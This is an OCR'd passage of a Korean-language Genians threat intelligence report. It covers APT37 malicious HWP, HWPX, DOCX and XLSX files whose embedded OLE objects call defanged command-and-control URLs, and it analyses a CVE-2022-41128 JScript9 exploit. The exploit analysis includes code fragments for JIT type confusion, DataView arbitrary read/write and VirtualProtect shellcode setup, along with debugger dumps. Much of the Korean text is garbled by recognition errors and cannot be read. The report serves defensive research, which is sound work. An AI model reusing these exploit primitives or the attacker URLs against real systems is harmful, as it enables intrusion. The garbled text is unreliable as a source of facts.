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[Z12] 3-6] 'BINO0O1.0le' It LI R E SHH

O C2 Muig} 3191%40 QIAIZtS Soff SAIS 235 HLITL s 2IR1gt0] FHel
A% PEAZ AIBHE JISHE QAT M2 CI2 AL S QIR1zlo] ZEE
ob TR BHS we FL& ol

http://nav.offlinedocument|.]site/capture/parts/you?view=5JVOFAG
6KW1GBHB7LX2HCIC

[H 3-4] OLEY| &&= C2 4

O C2 EHRIE2 2 2XM(Office, Document) AH|AZE 2|6t EZ/0| Z2A&tL|Ct
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Genians Threat Intelligence Report

).hwp TtHO| LI 25 2QISHEH, OLE T+ O] BinData

=7 test_sample_02, hwp General Streamn Data
: '& Doclnfo Display mode:  Hexadecimal Ingert mode: Read only

oooooooo: ECDDES 10 24 BB BE 28 E8 DDBE BD DB BE BD DB ite. s e (& ¥ImUgol -
gooooolo: BE BD DB BE B0 DB BE BD BB 7B EF 36 77 77 CF F3 Ioi9mii9ms {iswwic

oooooozo: D D327 E2CE FC BA 73 63 22 EE CF AC 84 27 32 &razucscr=i-5'z

00000030: 32 A3 32 B3 24 6B BDEBI A2 32 57 BE EB AF 88 0D zgzeviistcomda™ " .

== Serpts gooooo4o: FE 34 FF 2EC2FDOS 1B 62 3FE FE EBFF 56 F2 FE bl .if. .bee2iVal
: ooooooso: 15 ES AF 5F BF 43 FC 15 F4 7F 589 DE 90 00 FF 33 & _:cu.al¥d .¢3
+- " BodyText 0o0000€a: 13 FE AF BF 85 A6 FF EF F9 5F BF 7F FF FE 9F C5 _p—ot!yan -l 5p¥a
#-{= DocOptions oooooo7a: 01 09 44 60 82 FO 9F F5 83 11 9C 10 84 24 14 A1 . D", a%8f .. .5 ;
ooooooe0: 09 43 58 C2 FDF7 EE FE 84 40 44 22 11 99 28 44 CcxAj+=pSeD".™(D

ooooooso: 25 1A 0183 41 4C 62 11 9B 38 C4 25 1E F1 49 40 = fi=alb . »5E% ATe

0O000DRO: 42 12 91 92 24 24 2519 C9 43 41 44 52 91 94 34 B -33% EIAJRE4

000000BO: A4 25 10D BE CAGF 19 CB 48 26 32 93 85 ACB4 23 wm%.%E  EHe2“. -ds

ooooooco: 3B 39 C8 43 2E 72 93 E7 BF 8E D3 5F 7F ED 23 3F ;3EI.r g Z0 | 427

ooooooDo: 05 28 48 21 0463 84 A2 14 A3 38 20 28 49 29 44 (H!.S,c.£2% (1) T

oooo00Eo: B3 86 BZ 94 A3 3C 15 AB 48 25 2A 53 85 AA B4 AD sStersc "HR*S. 3TE

0O0000FD: 34 35 A2 43 2D BA B3 87 BAD4AZ 3E ODFE FC 46 -5 I-j5+=88> . purF

oooooloo: BF FF IF 84 9F FC FA 33 FD FF FD 7F AB B1 OF AE &, Yaaz iyl «tbm

ooooollo: 09 40 B9 46 73 BA DO S92 56 B4 AB OD BD B 47 7B MiFsZE' V') miG{ W
Offset: 000000000 (03

Data Type Data Size Value =
Signed Bute g hits =20

Unsigned Byte a bits =20

Signed Short 16 bits -7

Unsigned Short 16 hits -Br2d

Sinnad | nnn 2 hite 274980937 Y
< b3

Genians Security Center 13
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offset (h)

00gl10Ca0
006l10CAD
00610CBO
006l10CCO
00610CD0
00610CEQ
006l10CF0Q
00610D00
00610D10
00g10D20
00&610D30
00&810D40
00&810DS0
00&810D&0
00&810D7T0
00&810DE0
00610D20
00&10DA0D
00610DBO
00&610DCO
00610DD0
00610DED
00g6l10DFO
00610EQQ
00610EL1D
00610E20

00 01 02 03 04 05 06 07 OB 0% OA OB OC OD OE OF Decoded text

6B 65 6B 6B 6B 6B ©B ©B 6B 6B 6B ©B 6B 6B 6B 6B kkkkkkkkkkkkkkkk
6B 65 6B 6B 6B 6B ©B ©B 6B 6B 6B ©B 6B 6B 6B 6B kkkkkkkkkkkkkkkk
6B o5 6B 6B 6B 6B ©B 6B 6B 6B 6B o8 6B 6B 6B &b

i

kkkkkkkkkkkkkkkk
eB 00 00 OO0 Q0 OO0 FF 00 00 OO0 0% 03 00 00 00 i
00 00 CO 00 00 00 00 00 00 4g 02 00 00 OO EOQO
Ea 7% F% Ba CE 11 8C 52 00 RA 00 4B A% OB BS
00 00 |68 00 74 00 74 00 TO 00 3A
GE 00 &1 00 76 00 2ZE 00 &F 00 &6
s 00 eE 00 &5 00 64 00 &F 00 &3
s 00 eE 00 74 00 2E 00 73 00 &5
[2F 00 &3 00 &1 00 70 00 74 00 75
2F 00 7O 00 &1 00 72 00 74 00 73
eF 00 75 00 3F 00 76 00 &5 00 &5
47 00 56 00 36 00 42 00 51 00 4C
§ 00 57 00 37 00 43 00 52 00 4D
45 00 58 00 38 00 44 00 53 00 4E
00 00 F4 7% 58 81 1D 3B 48 TE AF
2T 63 00 00 00 00 A5 ABR 00 00 04
00 00 CO 00 00 OO0 00 00 00 45 02
01 00 Q0 00 00 FF FF FF FF 00 0O
00 00 Q0 00 Q0 OO0 00 00 00 00 00
FF OO0 00 OO0 00 00 00 00 00 00 00
00 00 00 OO0 00 00 00 00 00 00 00

=
(=

]
{J

[
=

oot

odlc
2.
o
i

00 00 00 00 FE FF FF FF FF FF FF DYV VIVY
FF FF FF FF FF FF FF FF FF FF FF TV
FF FF FF FF FF FF FF FF FF FF FF TV VTVEEY

[212 3-8] 'BINOOO1.ole' It LIE ZE 2™

O Yol dRHE HWP OHY 274 25 C2 ME{et £ otelF49| AAtS
Y= Ad DL YLICE ofA|2 QIR M2 BEA AFZ S LT

http://nav.offlinedocument[.]site/capture/parts/you?view=GV6BQL

C2 RKHW7CRMSLIX8DSNTM
[H 3-5] OLEO]| ZLet=l C2 A
O C2 F29| ME &0 02| st=2| E4 ZEHAL F=AXY 2|&sot 9I 7t 207|=
SHLCH A =L 28 SIAM A S5t= O|HY AH|A O|EAHE iYL= s 40|
L3HEl e SOl AEfQILICt
O &4 A 0|A0] et OLE 2 = &7t CHE dEf7 AL
Genians Security Center 14
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B ®=19 K 4 ? @ =19 2
e 7| U - MM - B . EY - » ] =7 UL - MM - B . =R
O-E- )= v O-B- &8

i BNE 28545 M H o GESgsda. i LEEcEH 2 o} T e 2
s 230815 T M AIB 87 BAEE) i
1 &% i .
2349 ZhAl QINIE|E SHAIR
RE]
82 = 7% #E S
5% =R e o Solarg
B LES 5c [
THE -
u 5900 6100 ot SR I ARA2
B 5700 5000 ot
EEHE) 8300 8400 B
ol 1250 1250 a
ZHEFr) 2500 2900 &
bR 13500 14000 5
A% 12000 12500 5
Lp 7t~E 4009{8 | 4009/EF ot

£ #/F/5E unA 5718
- waT%e BY 980l 9E 9 57, 48 B T A% BA2AA 2 AR =
HEE @aE7] AT, ¥ ol @4 ofTld A=whE Aoz B

m b on\ BpaE@tesER) A+ [« @l m | ommszumz A+ . 3l

o
= 1" 1@ 23| 386X | HY B 5 ®m @ —o—@ Q0% na g | ez | 4Ex | g B 5 ® @—o—@D Q%

[O1& 3-9] OLE 2! ®& &tH H|1 (1, 2)

[12] 3-10] OLE 22 K& 27 LHE &l (1, 2)

woff 2 WEO[ &% Cr2|2, [HYstA[=H

Genians Security Center 15
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Threat Intelligence Report

3.1.3. HWPX At Ot 2 A
O GSCi (37 2-1] Alellet 20| 20231 781t 108, 3ZAZF HWPX THIO| oY
OLEE &fYUsH =ATH AtHE 3o, Sotsd &4 HELE 9|8 HWPX =
=M nr°'° o HEsH St CHER0F ZAKA Ulae2 RIEE AAS
oI & L CL.
O QEE 2A mo| = 23 Zon, HWPX A2 AI2st= EA 1|sHR7}
APT37 &0 2ol HA fAe =, AE =8 S22 L2 X[ A s 3AH0| 7,
Obz| DS ALZt CHA| Z7FaliAt et2 b2 2l 221 Do All2 £ Q& LIC.
ol [E5t=53F 78] hwpx [E5t=3F 10& ). hwpx
oA 37| 84 825 HIO|E 86,439 HIO|E
2t At Rxx Rok*
Ofz|gt 442 | 2023-07-25 2023-10-22

a01fac2e45ecf0339356532b

8479216440bf11fff0e1cfdbd

MDS5 Hash 44c09bf8 34aca3c
mail.smartprivacyc[.Jcom/get/ | app.documentoffice[.]club/vol
C2 URL account/view?myact=PO9FQG |tage_group_intels?user=HRF2
ANQQAGRHBORRBHSICPS FQSEFPDODOQCGQETEPRD
O S8 HWPX B3 B A TS =% BoHt 2jof0) 22 Ol et LB £33t
USLICEH BAML HAUE 2ol AFEAIZRE OLE 228 fE5t1 AFLICH

Genians Security Center
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B [E5+5% 78] hwex [CW] - B2 @=191 X 7 - O X
me BY - 27 - @3- M4 .- 2. omn. z2e. =2 - [BlE - A~ ox
o = AR ==L 1 S N T === — —
=L | = = s = =
= 22 m | I BHEEEZ WASSE v OAET T TooC EEEREE = =7
wE7|- mET 54V A ¥ omsE Fssges || T T - = |
Lb--B- 8@ Ll MILCE: RIEES M I = i ¥
L TE 12 13 [H w10 ar (3 7 A T &> [ a "E A ¥, [ :
[=&t Atz T3]
AR 20230 TE 25Y
HZAE 200
Al Bords Ag
20233 79 25
1. ZSM AREAD
T2 BY ME AG HLLZAE MM S22 A0 M a0 22
A OMUBHE A 2ICHE A0ICH Al 78 242 BOLEOM 2H ARN 2
S ME FUHAy SE ot S 4H0| stEM AMUYEHE =0 O o
2ol 25 LAMEMW Q8 2102t H0ICH 42 ELH =z WA E§d 8
2F FEE 10l & 22 AlEEs #EMME WEH ZAE S 2L ol
AFDIE S 2H012tD BAUETEM AL AT 20M or_ﬁ.,% Bt Hils A6t
= So hMS AFAID & YD el DR|ZI0l2kD olokIl &t Qlch
2. S& &28 31 M
2 BAEE €2 AEnM AN HEE MG S0 ZAME FHo F
FH FUA =TS0 DEE 2 Qs &2A0ICH Al 78 248 BOHISHIA
2l AEH 2§ Fords, WAE =EHA Sdl S0 LAE 29, el F é
A =0IS0l ChAlD SRR LE #Z2HChs ZH0ICH =218 2 02 AR 2 a
6t =Ho| FE Ut Eul(:tﬁ'i) A2 ZET ol EF0 FHTECHD §t g
m (2253 7] + i
Y2E 1T 1E 6% 1653M &Y #BUWE FIZEA m | b g G 100%
A HZ2I= OtAM Ql 2 ol Ol AFOIGE D AHS
SAA= od HWP OHY Atgef Ob7t2|2 OLE OHYO| C2 =0Qls & elet s42

©)

LE @Y F90| &2

o5l 22le 22, OLE 2E W2 &=l 3222 C2 MHE
B 2t YE HO|ZEE = E

=5t gUCt.

e O
N
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[53H53 781 hwpx
00612750 00 46 02 00 00 00 EO C9 EA 79 F9 BA CE 11 8C 82
00612760 00 AR 00 4B A9 OB B4 00 00 0O ES 00 74 00 74 00

00612770 [0 00 3A 00 2F 00 2F 00 6D 00 €1 00 69 00 €C 0O £
00612780 RE 00 73 00 6D 00 61 00 72 00 74 00 70 00 72 00 «I.
00612790 (69 00 76 00 61 00 €3 00 79 00 €3 00 2E 00 63 00 - e
006127A0 |6F 00 6D 00 2F 00 €7 00 65 00 74 00 2F 00 €1 00 ~(=c
00€127B0 |63 00 63 00 6F 00 75 00 6E 00 74 00 2F 00 76 00 «N.
006127C0O0 |69 00 €5 00 77 00 3F 00 6D 00 79 00 61 00 €3 00 .M.
006127D0 ([74 00 3D 00 50 00 39 00 46 00 51 00 47 00 41 00 -F.
006127E0 KE 00 51 00 51 00 41 00 47 00 52 00 48 00 42 00 -G.
00€127F0 HKF 00 52 00 52 00 42 00 48 00 53 00 49 00 43 00

00612800 [0 00 5§ 00 00 00 F4 79 58 81 1D 3B 48 7F AF 2C

00612810 82 5D C4 85 27 €3 00 00 00 0O AS ARBEB 00 00 04 03

[52+5E 108 hwpx

00611230 00 46 02 00 00 00 EQ C% EA 79 F9 BA CE 11 8C 82 .F....aEéya°i.g,
00611240 00 AR 00 4B A9 0B BC 00 00 00 [68 00 74 00 74 04 4, . . PR

00611250 [70 00 3A 00 2F 00 2F 00 61 00 70 00 70 00 2E 0q .:././.a.p.p...
00611260 |64 00 6F 00 63 00 75 00 6D 00 €5 00 6E 00 74 0q .0.C.u.m.e.n.t.
00611270 |6F 00 66 00 €6 00 €9 00 63 00 65 00 2E 00 &3 0Q .f.f.i.c.e...c.
00611280 [6C 00 75 00 €2 00 2F 00 76 00 6F 00 6C 00 74 0q .u.b./.v.o0.1l.t.
00611290 |61 00 67 00 €5 00 S5F 00 67 00 72 00 6F 00 75 0q .g.e._.g.r.o.u.
00611220 [70 00 5F 00 €9 00 6E 00 74 00 65 00 6C 00 73 0q - cilemciZeCellcfle
006112B0 [3F 00 75 00 73 00 €5 00 72 00 3D 00 48 00 52 0q .u.s.e.r.=.H.R.
006112C0O |46 00 32 00 46 00 51 00 53 00 45 00 46 00 50 0OQ .2.F.Q.5.E.F.P.
006112D0 |44 00 30 00 44 00 4F 00 51 00 43 00 47 00 51 0q .0.D.0.Q.C.G.Q.
006112E0 |85 00 31 00 45 00 50 00 52 00 44 00 00 00 F4 79 .E.P.R.DNNIY
006112F0 58 81 1D 3B 48 7F AF 2C 82 5D C4 85 27 €3 00 00 X..;H. ,,]lA.'c

[OZ 3-12] HWPX Ot Q| OLEY| Arl=l C2 =02l ofH

T o

10&1hwpx' C2 =0Q12 25 CHEA 24 ALEHS UL

O o 374 2HZHo2 20| 43T OB HEE (2SS 7€ hwpx, [RESE

O 20234 7€0l= 'mail.smartprivacyc[.Jcom' Z0Q AT} A2 %ﬁ_T'_ 10€€0=
‘app.documentoffice[.]Jclub’ A2 HAMESLICH HZ0] 5t2(0] 221 QUAZIE M=
CtE LE0| A¥SLICT

O BAE A 20|25 B2 AlHOIBE C2 BUS HHEHD, O{LHE A7i0] B2
OISOl 29FY BSUE MAE CI2 BYS HOIRO, M0 ENS Rt HAS

Genians Security Center 18
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Threat Intelligence Report

3.1.4. DOCX / XLSX A mp £
O 2d DOCXet XLSX IS At 34 Az ZAMGLCH A XLSX F™2

ARE LNK HIZIt7]
HEE 278 A7F SAgL L DOCX RYE2 O|HYY
LICH DOCXQ} XLSX M= 22U L 25t A
ZEE 22 A8 s ZSUL [2H2 AE] HES

LL—= -

20| 2SS

2L AMg

U, L3l Al ActiveX
2, o4 Activex7t Mg LICt

R 210]0p2

BLR=]

=
rdol ofd M R0 4et F2et 2 HHAZE Y
| &5l

o o

ses wrRsUy | zemas ||
1. 2210] X5 #3 e 22 oCIULM? (OF2fofl M HEs] FAR). sesc o 2F o5 AL 8Y Afre -
| 1) MO Activex HESS BT 4+ SIES 4TS EREgTY x
a ALz
Fo7 - £ | 620000 v
b. #HS T,
A B c | D El~
o BAYE. 91 DI (AE ) 128 8200
92 |qhAlEES) 192t 1270
d gees 93|159 20| 35cm 102l 12,900
94 | 74 EERESITE) 1kg 14,300
e BT 95 Ml FhEh aho] HEshe HEY 12 40,000
9% |22 1% 1(m) 17 13,000
I 97 M=t 174 620,000 6
_ 98 |F7|ge EET 174 600,000 6
g Fetss . 99 == (058 CLIEPN 12 48,000
N molLC L 100 545428 HelHT s ] 450,000 4
101/ 8t HOICIAHS(HE) 12 620,000 6
1/8 HOIX| 0x  <om=) & B - 102/ AE@ ) gelgats 18 492,000 4
E.CIN TN 2 EN. ] hd
¢ | OE NS FEANE | BESIANE . @ al y
= i} mo- ] + 100%

O ORPIRZ ActiveX
ZAZIO| C2 MH0| H&

Q0000560
Q0000970
Q0000380
00000550
Q0000%A0
Q0000380
000008C0
Q0QoosD0
Q0000%ED
Q00009F0
Q0000800
Q0000810
Q000020

Genians Security Center

[ 3-13] DOCX2} XLSX It = A alist St

RO
0o

00

EZ0l= 32449 C2 =010 EEs] e

uz
0t
=

s 271 o4 9|2 435 ELICH

(3]
1]

0o

a2 En 08 00 2B 30 30 5D aAC 00
68 00 74 00 74 00 TO 00 3A 00

5 00

2F
75
65
2F
65
6F
72
36
34
35

Q0
Qo
0o
Qo
oo
Qo
Qo
0o
Qg
00

61
&l
63
73
T7
72
3D
31
£

00
00
0o
0o
00
0o
0o
0o
00

70 00 70 00 2E 00 &4 00 &F 00Q
65 00 6E 00 74 00 &F 00 && 00
€5 00 2E 00 €3 00 &C 00 75 0Q
6l 00 &C 00 74 00 5F 00 7& 004
SF 00 &4 00 &F 00 &3 00 5F 04
64 00 73 00 3F 00 75 00 73 04
8 00 42 00 38 00 36 00 43 04
36 00 35 00 36 00 34 00 41 00
37 00 41 00 37 00 35 00 42 04

5 Hh

]
=l

e
A
.B.

3q

0o

[O& 3-14]

0ag

1]

o l]

0o
0o

a1
o

Q0 00 00 00 Q0 00 Q0 00 Q0 00
Q0 00 Q0 00 00 Q0 QO 00 Q0 00

AZRe| C2 =0|Ql0f 2tz ofd ActiveX
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Genians

4. _5'._|ol:2-l

Ol
4.1. Exploit Code & 1A

O GSC= oty
ActiveX ZHEES £5

of 2= (28 2
HHZS LF SHUSLITH

lI|> o

Sl
PIN

HWP, HWPX, DOCX, XLS
Ast

Threat Intelligence Report

£AM (Vulnerability Analysis)

| OLE &&=
HTML

=

X I LHEO| AFQl=l ofolziQ]
= 2} = Exploit CodeZt &=

SNTM

nav.offlinedocument[.]site/capture/parts/you?view=GV6BQLRKHW7CRMSLIX8D

HCIC

nav.offlinedocument|.]site/capture/parts/you?view=5JVOFAGA6KW 1GBHB7LX2

&4 L7t gdst EE=F RARISHH.

3 92t 2oy ATYES SEBLC

251517 s L2 Lot Zie=2
2 2rof

7|22l GCHQOfIM BHE CjoE 24 Y 2=

7

—_

CyberChef - The Cyber Swiss Army Knife
CyberChef Loga

Version 9.55.0
Compile ime: 09/12/2022 11:42:13UTC
2 Crown Copyright 2018,

Released under the Apache Licence, Version 2.0,

chat |on gitter

FAQS

Report a bug
About

Keybindings

What sort of things can | do with CyberChef?

There are around 300 operations in CyberChef alowing vou to carry out simple and
complex tasks easily. Here are some examples:

Decode a Bazebd-encoded =tring
Convert a date and time to & different time zone

Parse a Teredo |PvG address

Convert data from a hexdump, then decompress
Decrypt and disas=emble shellcode

Display multiple fimestamps as full dates

Carry out different operations on data of different tvpes
Use parts of the input as arguments to operations

(aT(a7 + (3953 + 2 + 386 * -1 + -2483 * 3), az), aT(a7 + (1923 * -1 +
3571 # -3 + -5723), aF), aT(a7 + (-3891 + 1855 + § + 583 * -11), -2 +

4917 + 2071 + 7827)), &) == !!1[] && (aT(a7 + (6518 + 3365 + -1481 * 7), a7
+ (5884 + 3786 + 6 * -1465)), al()), a3 = a0 + "3, aq[aM(16@8)](aM(843),
a3), ag[aM(374)1()
1 .
1 Exploit Code

</script>

<dIV claze="moda] Tade’ 1d="ZUPROri- Wodal! Tabindex-T-1" role-"dilalce’s
odal-dialog modal-lg" role="document™>

tent”>

-header">

odal-title">CyberChef -

The Cyber Swiss Army
<img aria-hidden="trus" class="about-img-left"

Loga">
«t">Version 9.55.8<br>Compile time: ©3/12/2822
11:42:13 UTC¢/p>
<p>® Crown Copyright 2816.¢/p>

=P
BLIRIEHQPHRLEHGZeD
L3R1eHQ+PCONPIvC3ZnPe=="3</a>

</p>
<ul class=" role="tablist">

" role="presentation”><a class="nav-link

" CyberChef

Genians Security Center
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https://gchq.github.io/CyberChef/

Genians Threat Intelligence Report

4.2. CVE-2022-41128 Z|oFA £

O & z|oFd L2 Google's Threat Analysis Group (TAG)Q| 'CVE-2022-41128:
Type confusion in Internet Explorer's JScript9 engine' 24 LIES Sall AtM|5]

o= 4+ ASHCES

O HE0| SH2QIEURIEA(KISA) KrCERTS 'HE E1M 2/ MSYE A =G0
|9 &M 24 L0l = 4AMI5| 71==0 AsY cr

O 'CVE-2022-41128" 2[d2 QU dAZ=22] JScript9 AMRIC| JIT(Just-In-Time)
Compiler 2|43} 2FH0||A 24| EtRC| =2 (Type Confusion)O| Y4lst= 2|FH LT,

O 'CyberChef' iE0f HYel ofd At AFHEE= ARIAUS Salf H=otE 0 A2,
h=2otS shiAlet A3EEE OE ZE LT

18]

IT Compiler® E&5t0] 2[A3tE 2H4ls5t7| 2lsh 'j' &
'false' QIZ}ZHS 90| 400HHE SZEHL|Ct O] HEO|M JIT Compilers &AM 0l
H HiZ (Int32Array) 2 &HQI5HA L},

A
T
|

9&2

0

function j(m) {

var n,
n=a;//a¥$e Int32Array LCt.
var o = n[0];
- 0Ol-d AHZ2E -
2T O
1
- U8 MeF-

for (var d = 0; d <400000; d++) {
var I =j(![])
}

8 CVE-2022-41128: Type confusion in Internet Explorer's JScript9 engine
YHE HM 22 MSQUIE HZ2G|0] 2[FA AM A

Genians Security Center 21


https://krcert.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000127&searchWrd=&menuNo=205021&pageIndex=1&categoryCode=&nttId=71141
https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-41128.html

Genians

Threat Intelligence Report

O 4029 & 0%, 'true' QAUAZS AFESY 'J' &S o SSILICH QRO
'true'® 0= 'n' 40| RLEHE (k H4)7H dHE L

O StA|2H JIT Compiler= 402tRH9| of wish M= Sdl HrE d4d HE=2
TCSHH, Bty &8 2{9f- 0| ZdstAl E LT (CVE-2022-41 128 Flord )

O EY &8 ofy0| TUE 'n' BieE £HstE 'a2[137]" B2l HO|E{7t
HFAELCE 54 ZE= a2[137] BIE2| Array Length, Array Actual Length, Buffer
Lengthe| F7|S 40962= HESIH ChE BIE=(a2(138], a2[139)%= IOl
7ts5HA ULt

O 0|F, vftable? FAE 7t42} VirtualProtect
At T

A2 P7| U

- 0Ol-d AHZ2F -
=2T O
function j(m) {

var n;
n=a,
var o = n[0];
k = new Object({
red: 1,
yellow: "2",
green: 3,
d: "4",
blue: a2[aV], // a2[137]
black: 2,
1
if (m) {
n=Kk;
break
n[] =-7108 + -5057 + -22 * -553
}
if (m) {
e++,
n[4] = 4096;
e>0?n[11]=4096:n[11]=1;
n[11] = 4096;

if (n[11]==n[4]) {
n[12] = 4096;

Genians Security Center

22



@) Genians Threat Intelligence Report

aH =n[0]; // vftable =4 = 74 =L

[ 4-3] of4 A[Hf ~A92E FE 2

O gHdS Soff &gt <, of2f a2t Z0| Array Length, Array Actual Length,
Buffer Length?7t 4096(0x1000)22 HAZ AS SQI5tH 4 Ql&L T}

0:022> dd 0ce83480
Oce83480 71728234 078f46c0 00000000 00000005 121 =
0ce83490 [00000010] Oce834a8 Oce834a8 00000000
OceB834a0 00000000 07847chb0 00000000 [000000L0]
Oce834b0 [000000L0] 00000000 00000000 00000000
OceB834c0 00000000 00000000 00000000 00000000
0ce834d0 00000000 00000000 00000000 00000000
Oce834e0 00000000 00000000 00000000 DODOOOOO
Oce834f0 00000000 00000000 00000000 0ODOOOOO

0:022> g

(lled . laec): Break instruction exception — code 80000003 {(first chance)
eax=00660000 =bx=00000000 ecx=77alabel =dx=10088020 esi=77alabel edi=77alabel
eip=779d4060 esp=0e9afcbc ebp=0e9%afced8 iopl=0 nv up i pl zr na pe nc
c==0023 ===002b d=s=002b e==002b £f==0053 g==002b efl=00000246
ntdll | DbgBreakPoint :

779d4060 cc int 3

0:021> dd 0ce83480
0ce83480 71728334 078f46c0 00000000 00000005 EHA
0ce83490 [DO001000] Oce834a8 0ceS834a8 00000000
Oce834a0 00000000 07847ch0 00000000

Oce834b0 [0000LI000] 00000000 00000000 00000000
Oce834c0 00000000 00000000 00000000 0000000O0|
Oce834d0 00000000 00000000 0ODOO000 0ODO0OOO
Oce234=0 00000000 00000000 00000000 0ODOOOOO
Oce834f0 00000000 00000000 00000000 000000O0

o

[12] 4-2] A=l Array Length, Array Actual Length, Buffer Length

O By &8 s st 0|=, SAHAIL dst= H=22[0f HZSH0] 'i7|/A7]'E
235t 215l 'a2[138]" HI 0| DataView LEXMEZ S BIL(C}

O A CtE2 'a2[137]' BIE S E510 'a2[138]' HIE 2| DataView LEHME ZQIE{O| Zf
'‘a2[139]" HIE 2| 'Pointer to Array content 1,2' 2| 2|0f| A Z&tL|Ct,

mjo

- 0Ol-d AHZ2E -
2T o~
var aB = new ArrayBuffer(8);

var aS = new DataView(aB);
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a2[138][0] =

- U A -
a2[137][55] = a2[137][32] -4;
a2[137][56] = a2[137][32] -

O DataView @LEBAHEQ| =

[E 4-4] DataView LEHE A|E]

FAE =0lst 'a2[139]" HIE Q| 'Pointer to Array content

1 = =2 =
1,2" 2I2[0f & (DataView 5252;'5-4 ZA)EH 2|2Ho2 DataView RLEMEEZE
SR ol ; ta)2 JE==tAH S
Sofl A2l9f 8171/247|(Arbitrary Read and Write)& 7t&35H| gL L.
0,001 dd 0c=83480+80
Oce83500 71723228 078£{4680 00000000 OOOOOODOS
0ce83510 00000010 0c=83528 0Dce83528 00000000 o
0ce83520 00000000 00000000 00000000 00000010 Gole 7|
0ce83530 00000010 nunuonun 08536100- &cwauoa} e EnEEE e LT
Oce83540 00000001 0000000 000001
0ce83550 00000001 00000001 a[137H32110000001
0ce82560 00000001 00000001 cereee 000001
0ce83570 00000001 00000001 00000000 uunounau ¥
a[138] [ DataView LEANE ]
Pointer
T
1
1
(DataView Pointer)-4 H0{*+7| |
|
1
0:001> dd 0ceBJ480+80+80 |
0ce83580 71728234 078£4620¥00000000 00000005 | =2/2] 27|47 9 Tts
0ce83590 00000010 085360fc ossssoto-Oﬂaeﬂﬁ&e- ————————————————————— :
Ocef35al 0000000 |
0ce835h0 u000001§a[137H55] a[1371[56] uuuuouu !
0ce835c0 000000 !
Oce835d0 00000000 00000000 00000000 nuuuunuu '
0ce8350 00000000 00000000 DDOOODOO 0DOODOOD |
0ce83560 00000000 00000000 00000000 00000000 i
i
a[139] 0.001> dd 085360fc
085360fc 000MO000 71726blc 078£4780 00000000
0853610c 00000000 0852decO 00000000 OOODOOOOB
0853611c 172388 07b6d7b0 00000000
0853612 | a[1391[4] |12089248 0832fsal 08535820
0853613C \“voeroees 1726blc 078£4780 00000000
0853614c 00000000 0852dcfs 00000000 00000008
0853615c 0594bb78 717238£8 07bsd7b0 00000000
0853616c 00000000 71289248 0832feal 08535840
DataView 2EHE
- A
(22 4-3] Yolo] 971/47| M
|- 1 = ; .
O ZEHOM= or22] 'a[139]" BiEQ| 4% AHAS S510| DataView 2EHEQ

'getUint32'2} 'setUint32'

aT 2o

3148 Sol0] 9ol0l YII/MIIE 4

L.

o°I"

- YR Mef-
function T(c) {// 2elo 022 217
a2[139][4] =

Genians Security Center
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var b = getUint32(0,true);
return b

}
function aT(b, ¢) {
setUint32(a2[139][4], true);

ZE5t 'vftable' FAE Edf| 'JScript9' 2E9

O 'a2[137]" HiEe| Z0|E HEY
=2A2 -_rLC’”—I':f 'JScript9' FAE 'import table'®lM 'kernel32' 2E°| FAE
B3t 'kernel32' 2E59| 'export table'0lA 'VirtualProtectStub' 49| ZAE
SIS,
- YR Jger-

al = a6(aH);

aA = aj(al, aZ);

ao = aP(aA, aw, bc);
O 4o RAE FHEF 0|F, HAIASE 2AF|7| s £F  HiFo|
'VirtualProtectStub' FA2} QIZ} Zf2 AAELICt

- 0olY AHZ2F -
2T o~

a7 = bb(a8);

- Ool-Y AHZF -
2T oA

totallen == 7903 » -1 + -3884 = -1 + 4051 ?

- U5 ek -
ar = unescape(aD);
=T(bb(ar) + (-5113 +-146 * -61 + 3777 * -1)),

Genians Security Center
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(@T(@7 + (-5 * 787 +-7738 + -37 x -317), @o), // VirtualProtectStub 2= 24
aT(a7 + (2742 + 1 = 7844 + 2 = -5263), az)) // Shellcode 54 24

- ol AHZ2F -
2T oA
XN MA

(@T(a7 + (7433 + 4759 +-12128) -+ // Shellcode+1 4 24

aT(@7 + (-1 * -4161 + 133 « -17 --- // Shellcode 20| 24

aT(@7 + (-667 * -5+ 525 % -17 --- // PAGE_EXECUTE_READWRITE 24
(aT(a7 + (6518 + 3365 +-1401 = 7), a7 --- // IpflOldProtect 24

[E 4-7] VirtualProtect 34 @12t Zf BIE M

Ozl 29| ZEOA 'VirtualProtectStub' F4AeF QI f2 HHst
ol

— VirtualProtectSub

-

Shellcode address
A8 B E
0:006>

dd C803080

O0c803080
0cB803090
0c8030a0
0c8030b0
0c8030cO
0c8030d0
0c8030e0
0c8030£0

69dbdf 28
gooooo010
00000006
00000010
14787021
1425Pc40
OccSE160
OccdpPdcl

O0c940a00
O0cB030a8
goooooon
goQoooon
o0001b58
14229c10
OccSR120
Occdpfe

ooomoooa
0c8030a8

76c07a50
00000040
14288bel
OccS5080
00000000

pooOoons
pgooQoooo
000Qo010
14787020
0c8030d0
14289bhb0
Oce85000
pgooqoooo

IpfloldProtect

I_ Shellcode address +1
Shellcode length

PAGE_EXECUTE_READWRITE

[12! 4-4] VirtualProtect Q12 Zf B

Genians Security Center
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O &4 ZEO|MEz 'VirtualProtectStub' gh A 4 2l IEZ MM ol
AHIATEE o0 2AS SHAPt Hote &4l FAZ HEFSHD ‘a8 HiES QAL
U= d85te YYS AIE-LICEL

O HA BHEL ATEE gt QEHMEZS g|SeL|Ch ATFHE o4 QEMEO| Oxc
QIOMOIM A2l 87| Sdll FAE SSELICE Y FLE i‘%ﬁ% Olfe &5
== & o] JavascriptFunction::CallFunction' &0f|lM s =40 U= C|O[E{ 7t
HUE|7| W2 YLICE

- A& ek -
var ak = bb(aX);
=T(ak + (4)) + (12) // *(Function Object + 4)+C

[ 48] ~A3YE 34 QUAE 24 85

O HAY FAE 'jscript9lis:iRecyclableMethodsGroupWalker::Sort+0x18"' ®L|C}.
Y 40| ZEE= 0x14 PHE2| Al Z2t3 F2[stal 2|E st ZEY LT

jscript9!Js.: :RecyclableMethodsGroupWalker: :Sort+0x18
6al2cats 83cdl4 add esp. 1l4h

6al2cab8 c3 ret

bal2catb9 cc int 3

bal2caba cc int 3

6al2cabb cc int 3

bal2cabc cc int 3

6al2caed cc int 3

bal2cabe cc int 3

[1&! 4-5] VirtualProtect gt45 $£3517| 9

il
kU
n
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O 9 H¥e Edf A3ZE 340l 0xC 2Tl G|0|E{E 'jscript9!Js::Recyclable
MethodsGroupWalker::Sort+0x18' FAZ BHASHH Of2f 12iap 20| H|O|E{7t
HEE LT

0:030> dd 12c40abl h 4

